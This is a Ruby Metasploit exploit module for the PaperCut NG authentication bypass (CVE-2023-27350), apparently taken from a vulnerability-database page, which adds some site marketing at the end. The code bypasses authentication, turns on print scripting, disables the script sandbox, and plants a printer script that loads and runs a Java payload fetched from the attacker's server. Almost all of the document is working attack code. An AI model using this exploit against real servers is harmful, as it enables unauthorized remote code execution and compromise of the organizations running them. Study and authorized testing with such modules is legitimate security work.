##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'cgi'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(
update_info(
info,
'Name' => 'PaperCut PaperCutNG Authentication Bypass',
'Description' => %q{
This module leverages an authentication bypass in PaperCut NG. If necessary it
updates Papercut configuration options, specifically the 'print-and-device.script.enabled'
and 'print.script.sandboxed' options to allow for arbitrary code execution running in
the builtin RhinoJS engine.
This module logs at most 2 events in the application log of papercut. Each event is tied
to modifcation of server settings.
},
'License' => MSF_LICENSE,
'Author' => ['catatonicprime'],
'References' => [
['CVE', '2023-27350'],
['ZDI', '23-233'],
['URL', 'https://www.papercut.com/kb/Main/PO-1216-and-PO-1219'],
['URL', 'https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/'],
['URL', 'https://www.bleepingcomputer.com/news/security/hackers-actively-exploit-critical-rce-bug-in-papercut-servers/'],
['URL', 'https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software']
],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' => [ [ 'Automatic Target', {}] ],
'Platform' => [ 'java' ],
'Arch' => ARCH_JAVA,
'Privileged' => true,
'DisclosureDate' => '2023-03-13',
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => '9191',
'SSL' => 'false'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Path to the papercut application', '/app']),
OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10])
], self.class
)
@csrf_token = nil
@config_cleanup = []
end
def bypass_auth
# Attempt to generate a session & recover the anti-csrf token for future requests.
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true,
'vars_get' => {
'service' => 'page/SetupCompleted'
}
}
)
return nil unless res && res.code == 200
vprint_good("Bypass successful and created session: #{cookie_jar.cookies[0]}")
# Parse the application version from the response for future decisions.
product_details = res.get_html_document.xpath('//div[contains(@class, "product-details")]//span').children[1]
if product_details.nil?
product_details = res.get_html_document.xpath('//span[contains(@class, "version")]')
end
version_match = product_details.text.match('(?<major>[0-9]+)\.(?<minor>[0-9]+)')
@version_major = Integer(version_match[:major])
match = res.get_html_document.xpath('//script[contains(text(),"csrfToken")]').text.match(/var csrfToken ?= ?'(?<csrf>[^']*)'/)
@csrf_token = match ? match[:csrf] : ''
end
def get_config_option(name)
# 1) do a quickfind (setting the tapestry state)
res = send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri
},
'vars_post' => {
'service' => 'direct/1/ConfigEditor/quickFindForm',
'sp' => 'S0',
'Form0' => '$TextField,doQuickFind,clear',
'$TextField' => name,
'doQuickFind' => 'Go'
}
}
)
# 2) parse and return the result
return nil unless res && res.code == 200 && (html = res.get_html_document)
return nil unless (td = html.xpath("//td[@class='propertyNameColumnValue']"))
return nil unless td.count == 1 && td.text == name
value_input = html.xpath("//input[@name='$TextField$0']")
value_input[0]['value']
end
def set_config_option(name, value, rollback)
# set name:value pair(s)
current_value = get_config_option(name)
if current_value == value
vprint_good("Server option '#{name}' already set to '#{value}')")
return
end
vprint_status("Setting server option '#{name}' to '#{value}') was '#{current_value}'")
res = send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri
},
'vars_post' => {
'service' => 'direct/1/ConfigEditor/$Form',
'sp' => 'S1',
'Form1' => '$TextField$0,$Submit,$Submit$0',
'$TextField$0' => value,
'$Submit' => 'Update'
}
}
)
fail_with Failure::NotVulnerable, "Could not update server config option '#{name}' to value of '#{value}'" unless res && res.code == 200
# skip storing the cleanup change if this is rolling back a previous change
@config_cleanup.push([name, current_value]) unless rollback
end
def cleanup
super
if @config_cleanup.nil?
return
end
until @config_cleanup.empty?
cfg = @config_cleanup.pop
vprint_status("Rolling back '#{cfg[0]}' to '#{cfg[1]}'")
set_config_option(cfg[0], cfg[1], true)
end
end
def primer
payload_uri = get_uri
script = <<~SCRIPT
var urls = [new java.net.URL("#{payload_uri}.jar")];
var cl = new java.net.URLClassLoader(urls).loadClass('metasploit.Payload').newInstance().main([]);
s;
SCRIPT
# The number of parameters passed changed in version 17.
form0 = 'printerId,enablePrintScript,scriptBody,$Submit,$Submit$0'
if @version_major > 16
form0 += ',$Submit$1'
end
# 6) Trigger the code execution the printer_id
res = send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri
},
'vars_post' => {
'service' => 'direct/1/PrinterDetails/$PrinterDetailsScript.$Form',
'sp' => 'S0',
'Form0' => form0,
'enablePrintScript' => 'on',
'$Submit$1' => 'Apply',
'printerId' => 'l1001',
'scriptBody' => script
}
}
)
fail_with Failure::NotVulnerable, 'Failed to prime payload.' unless res && res.code == 200
end
def check
# For the check command
bypass_success = bypass_auth
if bypass_success.nil?
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Vulnerable
end
def exploit
# Main function
# 1) Bypass the auth using the SetupCompleted page & store the csrf_token for future requests.
bypass_auth unless @csrf_token
if @csrf_token.nil?
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
# Sandboxing wasn't introduced until version 19
if @version_major >= 19
# 2) Enable scripts, if needed
set_config_option('print-and-device.script.enabled', 'Y', false)
# 3) Disable sandboxing, if needed
set_config_option('print.script.sandboxed', 'N', false)
end
# 5) Select the printer, this loads it into the tapestry session to be modified
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri
},
'vars_get' => {
'service' => 'direct/1/PrinterList/selectPrinter',
'sp' => 'l1001'
}
}
)
fail_with Failure::NotVulnerable, 'Unable to select [Template Printer]' unless res && res.code == 200
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
# When the server stop due to our timeout, this is raised
end
def on_request_uri(cli, request)
vprint_status("Sending payload for requested uri: #{request.uri}")
send_response(cli, payload.raw)
end
end
Data
Build on a solid foundation withĀ Vulners data
WeĀ provide theĀ essential building blocks forĀ cybersecurity solutions withĀ comprehensive, structured, andĀ constantly updated vulnerability andĀ exploits data
Api
Power your application withĀ Vulners API
The Vulners REST API offers reliable, high-performance access toĀ vulnerabilityĀ intelligence, withĀ 99.9%Ā SLAĀ uptime andĀ CDN-backed data delivery forĀ seamlessĀ global access
App
Assess and manage vulnerabilities withĀ VulnersĀ tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation